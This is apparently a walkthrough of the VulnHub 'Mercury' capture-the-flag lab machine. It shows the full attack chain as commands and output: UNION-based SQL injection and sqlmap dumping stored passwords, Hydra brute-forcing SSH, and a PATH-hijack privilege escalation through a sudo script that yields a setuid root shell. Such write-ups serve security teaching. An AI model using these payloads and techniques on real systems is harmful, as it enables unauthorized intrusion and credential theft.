Mercury
About Release
Name: The Planets: Mercury
Date release: 4 Sep 2020
Author: SirFlash
Series: The Planets
Download
Mercury.ova (Size: 1.6 GB)
Download (Mirror): https://download.vulnhub.com/theplanets/Mercury.ova
Description
Difficulty: Easy
Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com
Recon
└─$ ip -4 -brief address show eth0
eth0 UP 10.0.2.15/24
└─$ sudo netdiscover -i eth0 -r 10.0.2.0/24 | tee netdiscover.log
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:64:6e:66 1 60 PCS Systemtechnik GmbH
10.0.2.18 08:00:27:79:c6:c3 1 60 PCS Systemtechnik GmbHHTTP (8000)
└─$ curl -i http://10.0.2.18:8080
HTTP/1.1 200 OK
Date: Sun, 21 Jul 2024 08:50:41 GMT
Server: WSGIServer/0.2 CPython/3.8.2
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Content-Length: 69
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Hello. This site is currently in development please check back later.
Enumerate for files/directories:
└─$ gobuster dir -u http://10.0.2.18:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
/robots.txt (Status: 200) [Size: 26]
Progress: 4727 / 4727 (100.00%)
===============================================================
Finished
===============================================================common.txt didn't find anything, before raft-medium wordlist is running let's try to check pages. If we go to invalid page we get:
We got a directory listing because of Debug mode.
/mercuryfacts
/mercuryfacts
└─$ curl http://10.0.2.18:8080/mercuryfacts/todo
...
<li> Add CSS. </li>
<li> Implement authentication (using users table)</li>
<li> Use models in django instead of direct mysql call</li>
<li> All the other stuff, so much!!! </li>
...
└─$ curl http://10.0.2.18:8080/mercuryfacts/1/
Fact id: 1. (('Mercury does not have any moons or rings.',),) Looks like developer is using direct mysql calls which is exploitable.
SQLi
http://10.0.2.18:8080/mercuryfacts/1'/
Injecting ' after 1 gives us SQL error:
The SQL query:
cursor.execute('SELECT fact FROM facts WHERE id = ' + fact_id)swisskyrepo/PayloadsAllTheThings/SQL Injection/MySQL Injection
Get databases:
1 UNION SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
--
Fact id: 1 UNION SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata. (('Mercury does not have any moons or rings.',), ('information_schema,mercury',))Get tables:
1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='mercury'
--
Fact id: 1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='mercury'. (('Mercury does not have any moons or rings.',), ('facts,users',))Get columns:
1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'
---
Fact id: 1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'. (('Mercury does not have any moons or rings.',), ('id,username,password',))Get fields:
1 UNION SELECT GROUP_CONCAT(id,username,password) FROM mercury.users
---
Fact id: 1 UNION SELECT GROUP_CONCAT(id,username,password) FROM mercury.users. (('Mercury does not have any moons or rings.',), ('1johnjohnny1987,2lauralovemykids111,3samlovemybeer111,4webmastermercuryisthesizeof0.056Earths',))SQLMap
or just dump tables with sqlmap:
└─$ sqlmap -u http://10.0.2.18:8080/mercuryfacts/1 --dbms=MySQL --batch --current-db --dump
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:13:12 /2024-07-21/
...
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://10.0.2.18:8080/mercuryfacts/1 AND 3451=3451
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: http://10.0.2.18:8080/mercuryfacts/1 AND GTID_SUBSET(CONCAT(0x71766b6b71,(SELECT (ELT(3316=3316,1))),0x7162706b71),3316)
Type: stacked queries
Title: MySQL < 5.0.12 stacked queries (BENCHMARK - comment)
Payload: http://10.0.2.18:8080/mercuryfacts/1;SELECT BENCHMARK(5000000,MD5(0x666c5666))#
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: http://10.0.2.18:8080/mercuryfacts/1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.0.2.18:8080/mercuryfacts/1 UNION ALL SELECT CONCAT(0x71766b6b71,0x777866706e786359497672476555557247506171446d65596553475676554858704d53625a69576e,0x7162706b71)-- -
---
[05:15:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[05:15:51] [INFO] fetching current database
current database: 'mercury'
[05:15:51] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:15:51] [INFO] fetching current database
[05:15:51] [INFO] fetching tables for database: 'mercury'
[05:15:51] [INFO] fetching columns for table 'users' in database 'mercury'
[05:15:51] [INFO] fetching entries for table 'users' in database 'mercury'
Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+
| id | password | username |
+----+-------------------------------+-----------+
| 1 | johnny1987 | john |
| 2 | lovemykids111 | laura |
| 3 | lovemybeer111 | sam |
| 4 | mercuryisthesizeof0.056Earths | webmaster |
+----+-------------------------------+-----------+
[05:15:51] [INFO] table 'mercury.users' dumped to CSV file '/home/woyag/.local/share/sqlmap/output/10.0.2.18/dump/mercury/users.csv'
[05:15:51] [INFO] fetching columns for table 'facts' in database 'mercury'
[05:15:52] [INFO] fetching entries for table 'facts' in database 'mercury'
Database: mercury
Table: facts
[8 entries]
+----+--------------------------------------------------------------+
| id | fact |
+----+--------------------------------------------------------------+
| 1 | Mercury does not have any moons or rings. |
| 2 | Mercury is the smallest planet. |
| 3 | Mercury is the closest planet to the Sun. |
| 4 | Your weight on Mercury would be 38% of your weight on Earth. |
| 5 | A day on the surface of Mercury lasts 176 Earth days. |
| 6 | A year on Mercury takes 88 Earth days. |
| 7 | Its not known who discovered Mercury. |
| 8 | A year on Mercury is just 88 days long. |
+----+--------------------------------------------------------------+
[05:15:52] [INFO] table 'mercury.facts' dumped to CSV file '/home/woyag/.local/share/sqlmap/output/10.0.2.18/dump/mercury/facts.csv'
[05:15:52] [INFO] fetched data logged to text files under '/home/woyag/.local/share/sqlmap/output/10.0.2.18'
[*] ending @ 05:15:52 /2024-07-21/Hydra
Since there's no login for web app, try users on ssh:
└─$ hydra -L usernames -P passwords 10.0.2.18 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-21 05:19:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://10.0.2.18:22/
[22][ssh] host: 10.0.2.18 login: webmaster password: mercuryisthesizeof0.056Earths
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-21 05:19:39SSH (22)
webmaster
Creds: webmaster:mercuryisthesizeof0.056Earths
webmaster@mercury:~$ ls -alh
total 36K
drwx------ 4 webmaster webmaster 4.0K Sep 2 2020 .
drwxr-xr-x 5 root root 4.0K Aug 28 2020 ..
lrwxrwxrwx 1 webmaster webmaster 9 Sep 1 2020 .bash_history -> /dev/null
-rw-r--r-- 1 webmaster webmaster 220 Aug 27 2020 .bash_logout
-rw-r--r-- 1 webmaster webmaster 3.7K Aug 27 2020 .bashrc
drwx------ 2 webmaster webmaster 4.0K Aug 27 2020 .cache
drwxrwxr-x 5 webmaster webmaster 4.0K Aug 28 2020 mercury_proj
-rw-r--r-- 1 webmaster webmaster 807 Aug 27 2020 .profile
-rw-rw-r-- 1 webmaster webmaster 75 Sep 1 2020 .selected_editor
-rw------- 1 webmaster webmaster 45 Sep 1 2020 user_flag.txt
webmaster@mercury:~$ cat user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]
User.txt
webmaster@mercury:~$ cat user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]Privilege Escalation (linuxmaster)
No sudo or suid binaries:
webmaster@mercury:~$ sudo -l
[sudo] password for webmaster:
Sorry, user webmaster may not run sudo on mercury.
webmaster@mercury:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chfn
/usr/bin/at
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1The webapp wasn't running from /var/www/html, check processes:
webmaster@mercury:~/mercury_proj$ ps aux | grep python
root 495 0.0 0.8 29004 17912 ? Ss 08:46 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 561 0.0 1.0 107828 21036 ? Ssl 08:46 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
webmast+ 634 0.0 1.9 52336 38988 ? S 08:46 0:00 /usr/bin/python3 /home/webmaster/mercury_proj/manage.py runserver 0:8080
webmast+ 636 15.1 2.7 656308 56704 ? Sl 08:46 5:56 /usr/bin/python3 /home/webmaster/mercury_proj/manage.py runserver 0:8080
webmast+ 1597 0.0 0.0 6432 672 pts/0 S+ 09:25 0:00 grep --color=auto python
webmaster@mercury:~/mercury_proj$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==There are notes for local users with passwords.
webmaster@mercury:~/mercury_proj$ echo 'bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==' | base64 -d
mercurymeandiameteris4880km
webmaster@mercury:~/mercury_proj$ su - linuxmaster
Password:
linuxmaster@mercury:~$ id
uid=1002(linuxmaster) gid=1002(linuxmaster) groups=1002(linuxmaster),1003(viewsyslog)Privilege Escalation (root)
User is part of an extra group:
linuxmaster@mercury:~$ find / -group viewsyslog 2>/dev/null
linuxmaster@mercury:~$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User linuxmaster may run the following commands on mercury:
(root : root) SETENV: /usr/bin/check_syslog.sh
linuxmaster@mercury:~$ cat /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog(root : root) SETENV: /usr/bin/check_syslog.sh: Suggests that when "linuxmaster" uses sudo, an environment variable is set before running the actual command.
The program also doesn't use absolute path for tail command and since we can manipulate env variables we can exploit PATH variable.
Expected output:
linuxmaster@mercury:~$ sudo /usr/bin/check_syslog.sh
Jul 21 09:20:53 mercury systemd[1357]: Reached target Basic System.
Jul 21 09:20:53 mercury systemd[1]: Started User Manager for UID 1001.
Jul 21 09:20:53 mercury systemd[1]: Started Session 4 of user webmaster.
Jul 21 09:20:53 mercury systemd[1357]: Reached target Main User Target.
Jul 21 09:20:53 mercury systemd[1357]: Startup finished in 528ms.
Jul 21 09:20:57 mercury systemd[1]: session-4.scope: Succeeded.
Jul 21 09:20:59 mercury systemd[1]: Started Session 6 of user webmaster.
Jul 21 09:23:18 mercury systemd[1]: proc-sys-fs-binfmt_misc.automount: Got automount request for /proc/sys/fs/binfmt_misc, triggered by 1542 (find)
Jul 21 09:23:18 mercury systemd[1]: Mounting Arbitrary Executable File Formats File System...
Jul 21 09:23:18 mercury systemd[1]: Mounted Arbitrary Executable File Formats File System.linuxmaster@mercury:~$ nano tail
linuxmaster@mercury:~$ chmod u+x tail
linuxmaster@mercury:~$ cat tail
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4777 /tmp/rootbash
linuxmaster@mercury:~$ export PATH=.:$PATH
linuxmaster@mercury:~$ sudo --preserve-env=PATH /usr/bin/check_syslog.sh
linuxmaster@mercury:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1002(linuxmaster) gid=1002(linuxmaster) euid=0(root) groups=1002(linuxmaster),1003(viewsyslog)
Root.txt
rootbash-5.0# cd /root
rootbash-5.0# cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]Last updated